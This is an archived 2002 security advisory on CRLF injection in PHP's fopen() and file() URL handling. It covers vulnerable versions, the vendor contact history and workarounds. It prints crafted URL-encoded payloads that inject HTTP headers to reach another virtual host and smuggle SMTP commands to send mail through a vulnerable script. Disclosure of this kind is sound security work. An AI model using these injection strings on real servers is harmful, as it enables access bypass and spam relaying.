what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

phpcrlf.txt

phpcrlf.txt
Posted Sep 11, 2002
Authored by Ulf Harnhammar

fopen(), file() and other functions in PHP have a vulnerability that makes it possible to add extra HTTP headers to HTTP queries. Attackers may use it to escape certain restrictions, like what host to access on a web server. In some cases, this vulnerability even opens up for arbitrary net connections, turning some PHP scripts into proxies and open mail relays.

tags | exploit, web, arbitrary, php
SHA-256 | 5290e8e6790626ca08c64a22a15bf3eaf5ff02cbf45a8623f2fd9c85f94d348f

phpcrlf.txt

Change Mirror Download
PHP fopen() CRLF Injection


PROGRAM: PHP
VENDOR: The PHP Group <group@php.net>
HOMEPAGE: http://www.php.net/
VULNERABLE VERSIONS: 4.1.2, 4.2.2, 4.2.3, latest CVS, possibly others
IMMUNE VERSIONS: none, but workarounds exist
SEVERITY: medium


DESCRIPTION:

"PHP is a widely-used Open Source general-purpose scripting language
that is especially suited for Web development and can be embedded
into HTML. Its syntax draws upon C, Java, and Perl, and is easy
to learn. PHP runs on many different platforms and can be used
as a standalone executable or as a module under a variety of Web
servers. It has excellent support for databases, XML, LDAP, IMAP,
Java, various Internet protocols, and general data manipulation,
and is extensible via its powerful API."

(direct quote from the program's project page at Freshmeat)

PHP is published under the terms of The PHP License. It is installed
on millions of web servers.


SUMMARY:

fopen(), file() and other functions in PHP have a vulnerability
that makes it possible to add extra HTTP headers to HTTP
queries. Attackers may use it to escape certain restrictions,
like what host to access on a web server. In some cases, this
vulnerability even opens up for arbitrary net connections, turning
some PHP scripts into proxies and open mail relays.


TECHNICAL DETAILS:

PHP has several functions that take filenames as one of their
arguments: fopen(), file() and some others. If allow_url_fopen is
set to On in php.ini, those functions also accept URLs instead of
regular files, and they connect to the server in question with the
correct protocol. This functionality is vulnerable to some CRLF
Injection attacks.


1) We start with the simple attacks. Let's say that this PHP snippet
is saved as snippet.php:

<?php

echo '<pre>';

print_r(file("http://www.site1.st/api?sunnan=$sunnan&vind=$vind"));

echo '</pre>';

?>

If an attacker surfs to:

snippet.php?sunnan=visby&vind=gotland%20HTTP/1.0%0D%0AHost%3A%20www.
site2.st%0D%0AUser-Agent%3A%20Ulf/0.0%0D%0AReferer%3A%20http%3A%2F
%2Fwww.gnuheter.org%2F%0D%0ACookie%3A%20user%3Dulf%0D%0A%0D%0A
(should be on one line)

this HTTP query will be sent to www.site1.st:

GET /api?sunnan=visby&vind=gotland HTTP/1.0
Host: www.site2.st
User-Agent: Ulf/0.0
Referer: http://www.gnuheter.org/
Cookie: user=ulf

HTTP/1.0
Host: www.site1.st
User-Agent: PHP/4.1.2

As you can see, the real headers from PHP are sent as well, but
the web server ignores them, as we send two CRLFs before them to
indicate that the headers are over.

Using this technique, we can add arbitrary user agents, referers and
cookies. We can also break out of restrictions and access site2.st
instead of the site site1.st that snippet.php tries to restrict us
to, if site1.st and site2.st are virtual hosts on the same machine.


2) If the PHP script is even worse, like this one called dotcom.php:

<?php

$fp = fopen($url, 'r');
fpassthru($fp);

?>

we can connect to arbitrary ports and send (almost) arbitrary
commands, thus turning the dotcom.php script into a proxy and an
open mail relay.

If we surf to:

dotcom.php?url=http%3A%2F%2Fmail.site1.st%3A25%2F+HTTP/1.0%0D%0AHELO+
my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+
TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+
PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A
(should be on one line)

the PHP interpreter will connect to mail.site1.st on port 25,
and send the following commands:

GET / HTTP/1.0
HELO my.own.machine
MAIL FROM:<me@my.own.machine>
RCPT TO:<info@site1.st>
DATA
i will never say the word PROCRASTINATE again
.
QUIT

HTTP/1.0
Host: mail.site1.st:25
User-Agent: PHP/4.1.2

Both PHP and the MTA will complain, but the mail is still sent.


FURTHER READING:

For more information about this group of problems, read my "CRLF
Injection" paper, which is available at
http://online.securityfocus.com/archive/1/271515


COMMUNICATION WITH VENDOR:

All contact methods I could find were very public, like mailing
lists and bug tracking systems. I ended up entering this security
hole into their bug tracking system (as number 19160) on the 28th
of August. The PHP developers are working on fixing this bug, but
nothing have been committed to their CVS yet. I am releasing this
anyway, as it is already public in their bug tracking system and
as Matthew Murphy has published a related hole in PHP recently,
thus making it more likely that some blackhat will find this too.


WORKAROUNDS:

One solution is to make sure that all variables that are used in this
type of URL are clean, by including this command in your PHP scripts:

$var = preg_replace('/\\s+/', '', $var);

Another solution: if your scripts don't need to access URLs
like files, you can switch off that functionality by setting
allow_url_fopen to Off in php.ini.


// Ulf Harnhammar
ulfh@update.uu.se
http://www.metaur.nu/

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close